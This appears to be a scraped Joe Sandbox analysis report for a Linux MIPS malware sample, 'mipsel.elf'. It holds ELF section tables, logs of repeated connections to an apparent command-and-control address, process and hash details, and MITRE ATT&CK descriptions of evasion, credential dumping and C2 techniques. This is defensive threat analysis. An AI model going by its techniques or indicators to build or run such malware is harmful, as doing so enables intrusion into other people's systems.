	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x17be0	0x0	0x6	AX	16
.fini	PROGBITS	0x417d00	0x17d00	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x417d60	0x17d60	0x1ca0	0x0	0x2	A	16
.eh_frame	PROGBITS	0x45a000	0x1a000	0x4	0x0	0x3	WA	4
.ctors	PROGBITS	0x45a004	0x1a004	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45a00c	0x1a00c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x45a014	0x1a014	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x45a018	0x1a018	0x10	0x0	0x3	WA	4
.data	PROGBITS	0x45a030	0x1a030	0x2e4	0x0	0x3	WA	16
.got	PROGBITS	0x45a320	0x1a320	0x628	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x45a948	0x1a948	0x14	0x0	0x10000003	WAp	4
.bss	NOBITS	0x45a960	0x1a948	0x6580	0x0	0x3	WA	16
.comment	PROGBITS	0x0	0x1a948	0xdb6	0x0	0x0		1
.mdebug.abi32	PROGBITS	0xdb6	0x1b6fe	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1b6fe	0x7c	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x19a00	0x19a00	5.6148	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1a000	0x45a000	0x45a000	0x948	0x6ee0	4.4214	0x6	RW	0x10000	.eh_frame .ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 23, 2025 22:46:52.414639950 CET	43928	443	192.168.2.23	91.189.91.42
Mar 23, 2025 22:46:58.045995951 CET	42836	443	192.168.2.23	91.189.91.43
Mar 23, 2025 22:46:58.532406092 CET	59752	1290	192.168.2.23	155.138.230.16
Mar 23, 2025 22:46:59.069809914 CET	42516	80	192.168.2.23	109.202.202.202
Mar 23, 2025 22:46:59.549670935 CET	59752	1290	192.168.2.23	155.138.230.16
Mar 23, 2025 22:46:59.852257013 CET	43252	80	192.168.2.23	155.138.230.16
Mar 23, 2025 22:47:00.861505032 CET	43252	80	192.168.2.23	155.138.230.16
Mar 23, 2025 22:47:01.565413952 CET	59752	1290	192.168.2.23	155.138.230.16
Mar 23, 2025 22:47:02.877207994 CET	43252	80	192.168.2.23	155.138.230.16
Mar 23, 2025 22:47:05.724883080 CET	59752	1290	192.168.2.23	155.138.230.16
Mar 23, 2025 22:47:07.004662991 CET	43252	80	192.168.2.23	155.138.230.16
Mar 23, 2025 22:47:13.147825003 CET	43928	443	192.168.2.23	91.189.91.42
Mar 23, 2025 22:47:13.915699959 CET	59752	1290	192.168.2.23	155.138.230.16
Mar 23, 2025 22:47:15.195564985 CET	43252	80	192.168.2.23	155.138.230.16
Mar 23, 2025 22:47:25.434192896 CET	42836	443	192.168.2.23	91.189.91.43
Mar 23, 2025 22:47:29.529778004 CET	42516	80	192.168.2.23	109.202.202.202
Mar 23, 2025 22:47:30.041604996 CET	59752	1290	192.168.2.23	155.138.230.16
Mar 23, 2025 22:47:31.321369886 CET	43252	80	192.168.2.23	155.138.230.16
Mar 23, 2025 22:47:54.102582932 CET	43928	443	192.168.2.23	91.189.91.42
Mar 23, 2025 22:48:02.293252945 CET	59752	1290	192.168.2.23	155.138.230.16
Mar 23, 2025 22:48:04.340959072 CET	43252	80	192.168.2.23	155.138.230.16
Mar 23, 2025 22:48:13.838185072 CET	59756	1290	192.168.2.23	155.138.230.16
Mar 23, 2025 22:48:14.867430925 CET	59756	1290	192.168.2.23	155.138.230.16
Mar 23, 2025 22:48:16.883162022 CET	59756	1290	192.168.2.23	155.138.230.16
Mar 23, 2025 22:48:20.978574038 CET	59756	1290	192.168.2.23	155.138.230.16
Mar 23, 2025 22:48:29.169454098 CET	59756	1290	192.168.2.23	155.138.230.16
Mar 23, 2025 22:48:45.295303106 CET	59756	1290	192.168.2.23	155.138.230.16

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 23, 2025 22:46:58.411535025 CET	50808	53	192.168.2.23	1.1.1.1
Mar 23, 2025 22:46:58.528589964 CET	53	50808	1.1.1.1	192.168.2.23
Mar 23, 2025 22:48:13.659004927 CET	51383	53	192.168.2.23	1.1.1.1
Mar 23, 2025 22:48:13.835383892 CET	53	51383	1.1.1.1	192.168.2.23

Start time (UTC):	21:46:51
Start date (UTC):	23/03/2025
Path:	/tmp/mipsel.elf
Arguments:	/tmp/mipsel.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	21:46:57
Start date (UTC):	23/03/2025
Path:	/tmp/mipsel.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	21:46:58
Start date (UTC):	23/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mipsel.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0gAdUv (deleted)

/tmp/qemu-open.3KRZnx (deleted)

/tmp/qemu-open.4muRew (deleted)

/tmp/qemu-open.7ERgXw (deleted)

/tmp/qemu-open.AQiMyw (deleted)

/tmp/qemu-open.BcO1iv (deleted)

/tmp/qemu-open.DFqczv (deleted)

/tmp/qemu-open.DuS7ex (deleted)

/tmp/qemu-open.EH1Xty (deleted)

/tmp/qemu-open.G8S3Yw (deleted)

/tmp/qemu-open.JpmYNw (deleted)

/tmp/qemu-open.KJcl6x (deleted)

/tmp/qemu-open.LchN0w (deleted)

/tmp/qemu-open.N35s7Y (deleted)

/tmp/qemu-open.P9VTVu (deleted)

/tmp/qemu-open.R7Gia1 (deleted)

/tmp/qemu-open.SJAcJy (deleted)

/tmp/qemu-open.U4c2cv (deleted)

/tmp/qemu-open.UFlzZx (deleted)

/tmp/qemu-open.Ue7p3v (deleted)

/tmp/qemu-open.Uwipkz (deleted)

/tmp/qemu-open.XCE7Xx (deleted)

/tmp/qemu-open.XL8oLv (deleted)

/tmp/qemu-open.Ye9gMx (deleted)

/tmp/qemu-open.aleEIx (deleted)

/tmp/qemu-open.b4mWnv (deleted)

/tmp/qemu-open.blRETx (deleted)

/tmp/qemu-open.dpzFZw (deleted)

/tmp/qemu-open.dvHA1u (deleted)

Linux Analysis Report
mipsel.elf

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre